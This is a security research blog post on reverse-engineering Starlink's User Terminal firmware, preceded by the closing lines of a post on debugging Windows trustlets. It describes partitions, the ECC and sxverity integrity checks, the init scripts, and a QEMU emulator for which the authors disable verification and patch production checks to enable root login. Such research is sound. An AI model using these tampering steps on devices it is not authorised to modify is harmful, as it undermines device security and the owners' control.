<li><a href="https://github.com/tpn/pdfs/blob/master/Battle%20of%20SKM%20and%20IUM%20-%20How%20Windows%2010%20Rewrites%20OS%20Architecture%20-%20Alex%20Ionescu%20-%202015%20(blackhat2015).pdf">Battle of SKM and IUM - How Windows 10 Rewrites OS Architecture</a></li>
</ul>
<h2>Conclusions</h2>
<p>The purpose of this blog post was to describe in detail how to debug a IUM process (also known as <em>Trustlet</em>), using a combination of the IDA Pro debugger and VMware Workstation as a way to debug Hyper-V's hypervisor. This can be useful if you want to do research on this kind of processes, such as Hyper-V's virtual TPM, or the isolated version of <code>LSASS</code> implemented by the <em>Credential Guard</em> security feature.</p>Diving into Starlink's User Terminal Firmware2023-08-29T00:00:00+02:002023-08-29T00:00:00+02:00Carlo Ramponitag:blog.quarkslab.com,2023-08-29:/starlink.html<p>This blog post presents an overview of Starlink's User Terminal runtime internals, focusing on the communications that happen within the device and with user applications and some tools that can help further research on the same topic.</p><style>
img {
border: none;
padding: none;
}
</style>
<h2>Introduction</h2>
<p>Starlink is a satellite-based Internet access service provided by Space X. This service already counts more than <a href="https://twitter.com/Starlink/status/1654673695007457280">1.5 million subscribers</a> all around the world, using the very same infrastructure. Starlink relies on 3 components:</p>
<ul>
<li>A user terminal, which communicates with the satellites, and on which most of the current research is focused.</li>
<li>A satellite fleet acting as a mesh network.</li>
<li>A gateway that connects the satellites to the internet.</li>
</ul>
<p>Numerous studies [<a href="https://radionavlab.ae.utexas.edu/wp-content/uploads/2023/01/starlink_structure.pdf">1</a>, <a href="https://www.esat.kuleuven.be/cosic/blog/dumping-and-extracting-the-spacex-starlink-user-terminal-firmware/">2</a>, <a href="https://github.com/KULeuven-COSIC/Starlink-FI">3</a>] have already been conducted on the subject, mainly on the user terminal.
During my 6-month internship at <a href="https://www.quarkslab.com/">Quarkslab</a> as part of my Master's degree program at the <a href="https://www.unitn.it/en">University of Trento</a>, I carried out the analysis of Starlink by reverse-engineering its firmware and the various protocols it uses.
At the end of the internship, I gained a good knowledge of how the device works internally and developed a set of tools that could help other researchers working on the same topic.
These tools will be described and published along with this blog post.</p>
<p>To conduct this study, we analyzed two regular User Terminals version 2 (the round one) and a User Terminal version 3 (the squared one) with root access (researcher access) which was provided by SpaceX's security team toward the end of my internship.</p>
<h2>Firmware overview</h2>
<p>The first step was to dump the firmware of the device since it's not publicly available, and we did that thanks to a <a href="https://www.esat.kuleuven.be/cosic/blog/dumping-and-extracting-the-spacex-starlink-user-terminal-firmware/">blog post</a> by the <a href="https://www.esat.kuleuven.be/cosic/">COSIC</a> research group at KU Leuven.
Once we got the firmware, we started inspecting the content, trying to understand how the memory was structured.
We also started looking into the U-Boot version that was customized by SpaceX, and it is being used as the final bootloader stage (BL33) for the User Terminal.
The U-Boot license requires any modification of its code to be published with the same license, hence you can find it on <a href="https://github.com/SpaceExplorationTechnologies/u-boot">GitHub</a>.</p>
<p>From the file <a href="https://github.com/SpaceExplorationTechnologies/u-boot/blob/sx_2022_05_03/include/configs/spacex_catson_boot.h"><code>include/configs/spacex_catson_boot.h</code></a> we can see how the memory is partitioned, here is a part of it:</p>
<div class="highlight"><pre><span></span><code><span class="nb">+-----------------+</span><span class="c"> 0x0000_0000</span>
<span class="c">| bootfip0 (1 MB) |</span>
<span class="nb">+-----------------+</span><span class="c"> 0x0010_0000</span>
<span class="k">[</span><span class="nt">...</span><span class="k">]</span><span class="c"></span>
<span class="nb">+-----------------+</span><span class="c"> 0x0060_0000</span>
<span class="c">| fip a</span><span class="nt">.</span><span class="c">0 (1 MB) |</span>
<span class="nb">+-----------------+</span><span class="c"> 0x0070_0000</span>
<span class="k">[</span><span class="nt">...</span><span class="k">]</span><span class="c"></span>
<span class="nb">+-----------------+</span><span class="c"> 0x0100_0000</span>
<span class="c">| linux a (32 MB) |</span>
<span class="nb">+-----------------+</span><span class="c"> 0x0300_0000</span>
<span class="c">| linux b (32 MB) |</span>
<span class="nb">+-----------------+</span><span class="c"> 0x0500_0000</span>
<span class="k">[</span><span class="nt">...</span><span class="k">]</span><span class="c"></span>
</code></pre></div>
<p>This allows us to split the image into small partitions and analyze each of them separately.
<a href="https://github.com/quarkslab/starlink-tools/tree/main/parts-extractor">This script</a> can help you do that automatically.
From here, we can also see that almost every partition is present multiple times (e.g. <code>linux a/b</code>).
This is because of the software update procedure, which will overwrite the partition that is not currently being used so that in the case of an error, there will still be the original partition that is known to be "correct".
An overview of the main partitions can be seen in the following picture.</p>
<p><center>
<a href="resources/2023-08-16_starlink/partitions.png">
<img src="resources/2023-08-16_starlink/partitions.png" width="80%">
</a>
</center></p>
<p>Partitions <code>Boot FIP</code> and <code>FIP</code> contain all the bootloader stages that compose the secure boot chain, most of them are based on the <a href="https://www.trustedfirmware.org/projects/tf-a/">ARM TF-A project</a>, which does not come with a GNU-like license, and the last one (BL33) is the U-Boot bootloader we mentioned above.</p>
<p>Having a clear idea of the boot process is essential to perform the <a href="https://github.com/KULeuven-COSIC/Starlink-FI">fault injection attack</a> developed by the COSIC research group.
The boot chain follows the classic multi-stage secure boot implemented by ARM TF-A, in the following picture you can see an overview of it.</p>
<p><center>
<a href="resources/2023-08-16_starlink/boot-chain.png">
<img src="resources/2023-08-16_starlink/boot-chain.png" width="100%">
</a>
</center></p>
<p>Boot stages come from different partitions of the eMMC and the first, which represents the Root of Trust, comes from an internal ROM of the main processor, they can be extracted from the partition images by using <a href="https://github.com/ARM-software/arm-trusted-firmware/tree/master/tools/fiptool">fiptool</a>, from ARM TF-A.
At the end of the boot process, BL31 will reside in Exception Level 3 (EL3) and act as a secure monitor, while the Linux kernel will run in Exception Level 1 (EL1), in the normal world running user-land applications in Exception Level 0 (EL0).</p>
<p>Then, the <code>linux</code> partition, as the name suggests, contains the Linux kernel, its ramdisk image and some Flattened Device Trees, one for every hardware version of the User Terminal.
This partition can be unpacked by using <a href="https://github.com/u-boot/u-boot/blob/master/tools/dumpimage.c">dumpimage</a> from the U-Boot project, the ramdisk is a <code>cpio</code> image and FDTs come in the form of Device Tree Blobs (DTBs) which can be "decompiled" to Device Tree Sources (DTSs) text with the <a href="https://elinux.org/Device_Tree_Reference">Device Tree Compiler</a>.
This partition also comes with some Error Correcting Code (ECC) information in it, you will need to remove it before being able to unpack it.
The ECC mechanism is custom-made by SpaceX and you can understand how it works by looking at the code in U-Boot which handles this verification, the next <a href="#integrity">Section</a> explains how it works and provides a tool to do that.</p>
<p>The <code>sx</code> (SX Runtime) partition contains configuration files and binaries that are specific to the User Terminal.
This partition will be mounted by the Linux's init script on <code>/sx/local/runtime</code> and after that binaries in this volume will be started.
In this case, integrity verification is done with <code>sxverity</code> which is yet another custom tool by SpaceX.
The next section will explain how this works.</p>
<p>Other partitions include some encrypted ones, using the Linux Unified Key System (LUKS), which are the only ones with the write permission, and some other smaller partitions that are not worth mentioning.</p>
<h2><a name="integrity"></a>Data integrity</h2>
<p>As we have seen from a brief analysis of the content of the eMMC dump, SpaceX is using some custom-made mechanisms for data integrity, along with the standard ones already included in ARM TF-A and U-Boot. Here is an overview of the custom-made components.</p>
<h3>ECC</h3>
<p>The Error Correcting code mechanism is only used in the FIT image and only provides data integrity, without considering authenticity. This means that, in theory, you can tamper with some ECC-protected components of the dish if you provide correctly formatted data using your own implementation of the <code>ecc</code> procedure (or using the binary found in the ramdisk). But for the FIT image, this is not possible because authenticity is also checked by the last bootloader stage.
So this is just used to prevent errors in the eMMC storage.</p>
<p>This works similarly to its original ancestor, the ECC RAM, which embeds some additional data in between the actual content of the memory - originally Hamming codes - that are computed as a function of the data they are "protecting".
Then, when some data is accessed, Hamming codes are recomputed and if they do not correspond to the ones saved in memory, an error occurred, and depending on how many bits have been mistakenly flipped, the error can be corrected.
This version of ECC uses Reed-Solomon error correction (instead of Hamming codes) and a final hash (i.e. MD5) to check the integrity of the whole file that is being decoded.</p>
<p><a href="https://github.com/quarkslab/starlink-tools/tree/main/unecc">Here</a> you can find a simple Python script that strips out ECC information from a file, without checking the correctness of the data, that we used to be able to unpack the FIT image. Inside the ramdisk, there is a binary (<code>unecc</code>) that does the same thing also checking and trying to correct possible errors.</p>
<p><center>
<a href="resources/2023-08-16_starlink/ecc.png">
<img src="resources/2023-08-16_starlink/ecc.png" width="100%">
</a>
</center></p>
<p>The content of ECC-protected files is organized into blocks of different types, the above figure shows how each block is structured.
The file starts with a header block (a), which contains the magic number and the version of the protocol, along with some data and the corresponding control codes.
Then, there can be zero or more data blocks (b) containing just data and control codes.
A last data block (c), which is recognized by its block type field (<code>$</code>, instead of <code>*</code>), marks the end of the payload, some padding is added here if needed.
Finally, the footer block (d) contains the size of the payload (needed to know the number of padding bytes), an MD5 checksum of the whole payload and, of course, ECC code words for the footer block itself.</p>
<h3>sxverity</h3>
<p><code>sxverity</code> is a custom wrapper for the device-mapper-verity (dm-verity) kernel feature, which provides transparent integrity checking of block devices.
The source code of the tool is not publicly available, thus we had to reverse the compiled binary to understand the internals.
This provides both data integrity and authenticity thanks to a signature check that verifies the whole content of the device.
<code>sxverity</code> internally uses the dm-verity kernel feature, by directly interacting with it through the <code>/dev/mapper/control</code> device.</p>
<p>SpaceX only tackled the verification of the root hash, everything underneath, which is handled by the kernel, has not been reimplemented, a nice explanation of how this works can be found <a href="https://source.android.com/docs/security/features/verifiedboot/dm-verity">here</a>.</p>
<p>As we have seen in previous sections, <code>sxverity</code> is used to verify some of the partitions that reside in the persistent memory, this is to prevent persistent exploits.
But as we'll see in the next sections, it is also used to verify software updates for the dish. Thus, it is a critical component for the overall security of the device.</p>
<p><center>
<a href="resources/2023-08-16_starlink/sxverity-header.png">
<img src="resources/2023-08-16_starlink/sxverity-header.png" width="40%">
</a>
</center></p>
<p>In the picture above you can see the structure of a <code>sxverity</code> image.
It is composed of a header, that is repeated 4 times, possibly signed with different public keys, which contains:</p>
<ul>
<li>The magic bytes <code>"sxverity"</code>.</li>
<li>The version and some flags indicating which algorithms have been used for signing and hashing.</li>
<li>The root hash, which indirectly covers the whole payload (through the hash tree).</li>
<li>The public key that has been used to sign the image.</li>
<li>The signature of all the fields above, using an elliptic curve (ED25519).</li>
</ul>
<p>The parsing and verification procedure performed by this process will be described in the <a href="#fuzzing">Fuzzing</a> section.</p>
<h2>Runtime overview</h2>
<p>In this section, we will discuss what happens after the bootloader chain, starting from the Linux's init script to the processes that handle the runtime of the User Terminal.</p>
<p>The <code>init</code> script is the first process started by the kernel and usually has a process identifier (PID) equal to 1.
Its main task is to start all the other runtime processes needed for the system to be useful, and remains running until the system is shut down. It will be the "oldest" ancestor of any other process and it is also used by the user to start, stop and configure daemons once the system is up and running.
The most common init script you can find in an end-user Linux distribution is <code>systemd</code>, which is a collection of tools to manage the whole runtime of the system (e.g. <code>systemctl</code>), among which there is also the <code>init</code> script.</p>
<p>SpaceX's people like to implement their own software, so they implemented their own init script, which can be found in the ramdisk, at <code>/usr/sbin/sxruntime_start</code>. This uses a custom formatted configuration file that contains the instructions of which processes to start, how to start them and in which order.</p>
<div class="highlight"><pre><span></span><code><span class="c1">#######################################</span>
<span class="c1"># user terminal frontend</span>
<span class="c1">#</span>
<span class="c1"># Wait until dish config partition is set up before launching.</span>
<span class="c1">#######################################</span>
proc user_terminal_frontend
apparmor user_terminal_frontend
start_if <span class="k">$(</span>cat /proc/device-tree/model<span class="k">)</span> !<span class="o">=</span> <span class="s1">'spacex_satellite_starlink_transceiver'</span>
startup_flags wait_on_barrier
user sx_packet
custom_param --log_wrapped
</code></pre></div>
<p>The snippet above shows how a process called <code>user_terminal_frontend</code> is started:</p>
<ul>
<li>It is started only if the condition <code>$(cat /proc/device-tree/model) != 'spacex_satellite_starlink_transceiver'</code> is satisfied.</li>
<li>It is started after the last process marked with the <code>barrier</code> flag has exited.</li>
<li>It is executed as the Linux user <code>sx_packet</code>.</li>
<li>The command line parameter <code>--log_wrapped</code> is passed to it.</li>
</ul>
<p>The two configuration files that are parsed by the init script can be found at <code>/etc/runtime_init</code> (ramdisk) and <code>/sx/local/runtime/dat/common/runtime</code> (runtime image).
The first one handles system-level services and configurations, such as mounting partitions (e.g. the runtime), and setting up the network, the console and the logger service.
The second one, instead, handles more high-level processes and configurations, such as starting all the processes contained in the runtime image and initializing encrypted devices.</p>
<p>Additionally, the init script also assigns priorities and specific CPU cores to those processes, by following some rules listed in another configuration file, that can be found at <code>/sx/local/runtime/dat/common/runtime_priorities</code>.</p>
<h3>File system & mount points</h3>
<p>First of all, the root filesystem is copied in RAM by the last bootloader (U-Boot, BL33), and is mounted at <code>/</code>.
Partitions of the eMMC can be accessed by the system through the files <code>/dev/blk/mmcblk0pN</code> where <code>mmcblk0</code> is the name of the eMMC and <code>N</code> is the partition index, starting from 1.
For convenience, a script will then create some symbolic links to these partitions to use a more explicit name, as shown below.</p>
<div class="highlight"><pre><span></span><code><span class="c1"># [...]</span>
ln -s /dev/mmcblk0p1 /dev/blk/bootfip0
ln -s /dev/mmcblk0p2 /dev/blk/bootfip1
ln -s /dev/mmcblk0p3 /dev/blk/bootfip2
ln -s /dev/mmcblk0p4 /dev/blk/bootfip3
<span class="c1"># [...]</span>
</code></pre></div>
<p>Since almost every partition is duplicated, another script will then create additional links in the folders <code>/dev/blk/current</code> and <code>/dev/blk/other</code>, the first one containing the partitions that are currently being used by the system and second one containing the other ones, that will be used in case of a software update.
The system knows which partitions have been used for the current boot by looking in <code>/proc/device-tree/chosen/linux_boot_slot</code> which is populated by the bootloader.</p>
<p>Then, the <code>runtime</code> partition is unpacked using <code>sxverity</code> and the content is extracted to <code>/sx/local/runtime</code>.
This partition contains two folders:</p>
<ul>
<li><code>bin</code> contains binaries and executable scripts.</li>
<li><code>dat</code> contains a lot of additional data like AppArmor rules, hardware-specific configurations and generic configuration files, such as <code>dat/common/runtime</code> which is the (second) configuration file used by the init script.</li>
</ul>
<p>After these operations, the root filesystem is remounted with the <code>ro</code> (read-only) flag.
Additional partitions are then mounted, such as:</p>
<ul>
<li><code>/dev/blk/current/version_info</code> on <code>/mnt/version_info</code> (through <code>sxverity</code>).</li>
<li><code>/dev/blk/dish_cfg</code> on <code>/mnt/dish_cfg</code> (through <code>LUKS</code>).</li>
<li><code>/dev/blk/edr</code> on <code>/mnt/edr</code> (through <code>LUKS</code>).</li>
</ul>
<h3>Daemons</h3>
<p>After the elaborate boot procedure and system configuration we finally reach a state in which some processes are running, each one with a unique task, to provide the user with the service the device is built for, i.e. a satellite internet connection.
As you may have guessed, many things happen in the background to ensure a stable enough internet connection such as sending and receiving traffic to and from satellites, choosing which satellite to connect to, changing satellite (without disrupting the Internet connection) when the current one moved too far, handling user requests coming from the mobile application, etc.
Furthermore, these processes need to communicate continuously with each other to synchronize and cooperate, and with Starlink's cloud services for backend functionalities.</p>
<p>Most of the binaries have been implemented in C++ and some of them are also statically linked.
Due to this, it was challenging to reverse-engineer these binaries and due to time constraints, we were unable to fully comprehend all of them.
Some work was done to identify statically linked library functions, using the binary diffing technique.
It is also probable that these programs were implemented using the <a href="https://www.scribd.com/document/68990784/B31-full">State Machine Design Pattern</a>, which makes heavy use of features of Object Oriented Programming such as multiple inheritance, virtual methods and generic types.
This made the reverse-engineering process even more difficult due to the complex structures that are produced by the compiler when using these features.</p>
<p>We tried to compare the network stack of the User Terminal with the known ISO-OSI stack, and the following could be a proper mapping:</p>
<ul>
<li><code>phyfw</code> (Physical Firmware, perhaps) handles the physical layer of the satellite communication, which includes modulation/demodulation of RF signals.</li>
<li><code>rx_lmac</code> and <code>tx_lmac</code> (rx/tx lower Medium Access Control, perhaps) fall in the data link layer, and handle the physical access to the medium, separately for receiving and transmitting.</li>
<li><code>umac</code> (upper Medium Access Control, perhaps), could represent the network layer. It handles the access to the medium, at a higher level, and coordinates between the transmission and reception of frames. It may also be in charge of choosing which satellite to connect to.</li>
<li><code>connection_manager</code> could represent the transport layer and, if it's the case, it handles stateful connections between the dish and satellites, in which the traffic will be exchanged.</li>
<li><code>ut_packet_pipeline</code> is probably used to create an encrypted tunnel in which user traffic will be exchanged using the secure element on the dish for handshakes. This could be associated with the known protocols such as TLS, DTLS, IPsec or, again, a custom one.</li>
</ul>
<p>Other than these network-related processes there also are some processes that handle system telemetry, software updates, system health status and outage detection/reporting and finally a "control" process that acts as an orchestrator for all the other processes.</p>
<p>On the other hand, one of the binaries, namely <code>user_terminal_frontend</code>, is implemented in Go, an open-source (compiled) programming language from Google.
Go binaries are statically linked and they include the go runtime, so they are pretty big, but luckily they also include symbols that are used by the runtime for comprehensive runtime error reporting, which includes function names, source code line numbers and data structures.
All this precious information can be recovered using a plugin for Ghidra called <a href="https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension">GolangAnalyzer</a> which was quite effective.
The extension also recovers complex data types and creates the corresponding C-like structures in Ghidra, which is extremely useful when working with an OOP language.
Additional manual analysis is needed because of the custom calling convention used by Go, but after this, the resulting disassembled C code is easily readable.
Our primary focus was on the runtime's higher-level components, which include this process.</p>
<p><center>
<a href="resources/2023-08-16_starlink/architecture.png">
<img src="resources/2023-08-16_starlink/architecture.png" width="100%">
</a>
</center></p>
<p>To summarize this section, in the picture above you can see a sketch of the architecture of the runtime (not complete), in which you can see that processes at the bottom, "closer" to the hardware, are statically linked, probably for performance reasons, and communicate only with the control process, while the other ones also communicate with Starlink's cloud services, through gRPC.
In section <a href="#communications">Communications</a>, we will tackle all the communications shown by this picture in more detail.
And finally, there is the go binary (which is technically statically linked as well, but just because of the language constraint), which communicates with frontend applications used by the user.</p>
<h2>Runtime emulation</h2>
<p>Due to the negative results of our Fault injection attack, we didn't have access to a live device on which to check our findings or perform some dynamic analysis.
Thus, we tried to set up an emulated environment, as similar as possible to the real device, that would be capable of executing runtime binaries.
We are emulating the entire system (full-system emulation), starting from the kernel, using QEMU as an emulator engine.
In the following paragraphs we describe every challenge we had to deal with, including the ones we couldn't solve, while setting up the environment and the final result.</p>
<p>The first choice to be made is which hardware we want QEMU to emulate.
When you want to emulate an IoT device using QEMU you usually look for the hardware implementation of the particular device for QEMU, which is usually available for common, off-the-shelf devices such as Arduino, Raspberry Pi, and less-known boards as well.
The hardware implementation of our device was, of course, not available, so we used the <code>(aarch64) virt</code> machine, which is the most generic one.
The proper way to emulate the whole device would have been to construct this machine specification for QEMU, as well as implement emulators for every piece of hardware that is present on the board.
The problem is that most of the peripherals present on the device are not open hardware, and even if they were, implementing all of them in QEMU would have been a lot of work.
Instead, using the <code>virt</code> machine and tweaking the Device Tree is much easier, at the cost of not having most of the hardware peripherals and thus some limitations.</p>
<p>Another problem was the choice of the kernel to run in QEMU.
We tried with the original one, extracted from the FIT of the firmware, but that didn't work in the emulated environment. So we decided to compile one ourselves.
Unfortunately, the open-source version of Linux published by SpaceX is 5.10.90, while the one found on the dish was 5.15.55, so we used the mainstream Linux kernel.
A lot of tweaks in the compile-time configuration had to be made for it to boot, some of them required by QEMU and some of them required by Starlink's software.
It is possible to extract this configuration from a compiled Kernel image, using the script <code>extract-ikconfig</code> from the Linux kernel repository, which was used to find differences between the default one and the one configured by SpaceX.</p>
<p>The device tree not only contains information about hardware peripherals but also data that is used by the runtime, such as public keys used by <code>sxverity</code>.
Additionally, the U-Boot bootloader also populates the FDT before booting the Linux kernel, by adding, for example, which set of partitions have been used in the current boot, the name of the main network interface and more.
All this information is of course not included in the FDT set by QEMU for the <code>virt</code> machine, thus we extracted this FDT, using the <code>dumpdtb</code> flag, and added the missing information, as shown below, which can then be recompiled using the Device Tree compiler (<code>dtc</code>) and given to QEMU using the <code>-dtb</code> flag.</p>
<div class="highlight"><pre><span></span><code><span class="c1"># ...</span>
<span class="nv">model</span> <span class="o">=</span> <span class="s2">"spacex_satellite_user_terminal"</span><span class="p">;</span>
<span class="nv">compatible</span> <span class="o">=</span> <span class="s2">"st,gllcff"</span><span class="p">;</span>
chosen <span class="o">{</span>
<span class="nv">linux_boot_slot</span> <span class="o">=</span> <span class="s2">"0"</span><span class="p">;</span>
<span class="nv">ethprime</span> <span class="o">=</span> <span class="s2">"eth_user"</span><span class="p">;</span>
<span class="nv">board_revision</span> <span class="o">=</span> <span class="s2">"rev2_proto3"</span><span class="p">;</span>
<span class="nv">bootfip_slot</span> <span class="o">=</span> <0x00><span class="p">;</span>
<span class="nv">boot_slot</span> <span class="o">=</span> <0x0006><span class="p">;</span>
<span class="nv">boot_count</span> <span class="o">=</span> <0x0010><span class="p">;</span>
<span class="c1"># ...</span>
<span class="o">}</span><span class="p">;</span>
security <span class="o">{</span>
dm-verity-pubkey <span class="o">=</span> <REDACTED><span class="p">;</span>
<span class="c1"># ...</span>
<span class="o">}</span><span class="p">;</span>
<span class="c1"># ...</span>
</code></pre></div>
<p>As the root filesystem, we used the one we extracted from the dish, with some modifications.</p>
<ul>
<li>Since we want to have access to the emulated dish, it must think it is a development version so that password access is enabled, thus we patched the <code>is_production_hardware</code> script. This could have been done in multiple ways, such as directly editing the <code>/etc/shadow</code> file, or adding our public key to the SSH's <code>authorized_users</code> files, but what we did is more effective because emulating development hardware will also enable other debugging features.</li>
<li>We also included the extracted runtime where it would have been mounted and removed the integrity verification and mounting step from the <code>/etc/runtime_init</code> file to be able to also tamper with the contents of that partition.</li>
<li>In the <code>/etc/runtime_init</code> file we also added some custom steps, for example, one that sets up our emulated network, and one that mounts read-write partitions as emulated volumes.</li>
</ul>
<p>Additional patches will be needed for other programs to start in the emulated environment.
We have also included some additional software that will be used for testing purposes such as <code>gdbserver</code>. But for these programs to be able to run, we either had to cross-compile them using the same build toolchain, or cross-compile them statically.</p>
<p>Even though both the root filesystem and the runtime are already placed in memory when the Linux kernel boots, a lot of processes directly access some partitions of the eMMC.
So we've also instructed QEMU to create a raw virtual block device, containing the original image dumped from the physical board.
However, since it is not seen by the kernel as an eMMC chip, the assigned name is different from the one assigned by the physical device.
Because of this, we had to change every reference to <code>mmcblk0</code> to <code>vda</code>, which is the name assigned by the kernel in the emulator.
Fortunately, as we saw in the previous section, the device only uses the name of the device in a script that creates some symbolic links to every partition, so we just had to patch that script and the command line argument for the kernel.
Partitions that are mounted with write permission, are instead mapped to a folder on the host so that it is possible to inspect their content afterward.</p>
<p>As for the network, it is not necessary to replicate the exact network configuration of the dish (as it is not very clear to us), we just need to have the right interface names and internet access.
This was done by using a tap interface, bridged to the host which acts as a NAT gateway, as shown in the following scripts.</p>
<p>Host:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
ifconfig <span class="nv">$1</span> <span class="m">0</span>.0.0.0 promisc up
brctl addbr virbr0
brctl addif virbr0 <span class="nv">$1</span>
ip link <span class="nb">set</span> dev virbr0 up
ip link <span class="nb">set</span> dev <span class="nv">$1</span> up
ip addr add <span class="m">192</span>.168.100.2/24 dev virbr0
<span class="nb">echo</span> <span class="m">1</span> > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o wlp0s20f3 -j MASQUERADE
</code></pre></div>
<p>Guest:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/sh</span>
ip link <span class="nb">set</span> dev eth0 name eth_user
ip link <span class="nb">set</span> dev eth_user up
ip addr add <span class="m">192</span>.168.100.1/24 dev eth_user
route add -net <span class="m">0</span>.0.0.0 netmask <span class="m">0</span>.0.0.0 gw <span class="m">192</span>.168.100.2 dev eth_user
</code></pre></div>
<h3>Emulation Results</h3>
<p>As explained in previous sections, most of the hardware is not present in the emulated environment, so every component that tries to use it will fail.
Lower-level processes, such as <code>phyfw</code> and <code>[rx/tx]_lmac</code>, whose main task is to interact with Starlink's hardware won't work in this environment.
But also other binaries require some hardware to be present, the most common one is the secure element, which is used in most of the cryptographic exchanges.
So for those binaries to work we patched every instruction that would make the program crash, but if the hardware is required for substantial parts of the process, this solution is pointless.
In the end, we managed to emulate, among the main processes discussed in the Daemons subsection, only <code>user_terminal_frontend</code>, <code>starlink_software_update</code>, <code>umac</code> and the ones related to telemetry, along with smaller processes.
Further work on this topic could incrementally add support for some peripherals of the board, hence being able to emulate more and more processes.
Here you can see the console output of the final phase of the boot process in the emulated environment.</p>
<div class="highlight"><pre><span></span><code><span class="c1"># [...]</span><span class="w"></span>
<span class="c1"># kernel messages and (a lot of) errors from applications</span><span class="w"></span>
<span class="c1"># trying to access missing hardware peripherals</span><span class="w"></span>
<span class="c1"># [...]</span><span class="w"></span>
<span class="n">setup_console</span><span class="p">:</span><span class="w"> </span><span class="n">Development</span><span class="w"> </span><span class="n">login</span><span class="w"> </span><span class="n">enabled</span><span class="p">:</span><span class="w"> </span><span class="n">yes</span><span class="w"></span>
<span class="n">SpaceX</span><span class="w"> </span><span class="n">User</span><span class="w"> </span><span class="n">Terminal</span><span class="o">.</span><span class="w"></span>
<span class="n">user1</span><span class="w"> </span><span class="n">login</span><span class="p">:</span><span class="w"> </span><span class="n">root</span><span class="w"></span>
<span class="n">Password</span><span class="p">:</span><span class="w"> </span>
<span class="w"> </span><span class="o">*</span><span class="w"></span>
<span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">+</span><span class="w"> </span>
<span class="n">The</span><span class="w"> </span><span class="n">Flight</span><span class="w"> </span><span class="n">Software</span><span class="w"> </span><span class="n">does</span><span class="w"> </span><span class="ow">not</span><span class="w"> </span><span class="nb">log</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">console</span><span class="o">.</span><span class="w"> </span><span class="n">If</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">wish</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">view</span><span class="w"></span>
<span class="n">the</span><span class="w"> </span><span class="n">output</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">binaries</span><span class="p">,</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">can</span><span class="w"> </span><span class="n">use</span><span class="p">:</span><span class="w"></span>
<span class="n">tail</span><span class="w"> </span><span class="o">-</span><span class="n">f</span><span class="w"> </span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="nb">log</span><span class="o">/</span><span class="n">messages</span><span class="w"></span>
<span class="n">Or</span><span class="w"> </span><span class="n">view</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">viceroy</span><span class="w"> </span><span class="n">telemetry</span><span class="w"> </span><span class="n">stream</span><span class="o">.</span><span class="w"></span>
<span class="p">[</span><span class="n">root</span><span class="err">@</span><span class="n">user1</span><span class="w"> </span><span class="o">~</span><span class="p">]</span><span class="c1">#</span><span class="w"></span>
</code></pre></div>
<p>All the scripts and files presented above are available <a href="https://github.com/quarkslab/starlink-tools/tree/main/emulator">here</a>, but we won't publish the whole UT's firmware, so you'll still have to extract it yourself to run the emulator.</p>
<h2><a name="communications"></a>Communications</h2>
<p>In IoT devices, communication with other devices is often a crucial function, if not the main one.
This is also the case for our device, which is basically an internet gateway and, as you can imagine, in this case, communication between the device and the satellites is the main function of the User Terminal.
We briefly analyzed the physical layer of this communication, but we didn't focus on it.
On a higher layer, the communication with satellites is split into two "planes":</p>
<ul>
<li>The Data Plane, which contains user traffic to and from the Internet.</li>
<li>The Control Plane, which contains every other kind of traffic, such as control messages between the antenna and the satellite (e.g. Connection handshake).</li>
</ul>
<p>But these are not the only communications happening in the device, in the following sections we will also see how the device interacts with user front-end applications and also how the different components inside the device communicate with each other.</p>
<h3>Front-end applications</h3>
<p>The communication with front-end applications is handled by the process <code>user_terminal_frontend</code>, which we were able to both run in the emulated environment and reverse-engineer, thanks to the language it has been implemented in (Go).
From the front-end applications, the user can see some statistics of the device and can change some high-level settings such as Wi-Fi credentials, reboot or stow the dish, etc.
These interactions use gRPC (Google's Remote Procedure Calls), which in turn uses <code>protobuf</code> underneath.
Protobuf definitions can be gathered either by extracting them from the binary (using <code>pbtk</code>) or by asking the reflection server of the process itself (using <code>grpcurl</code>, for example).
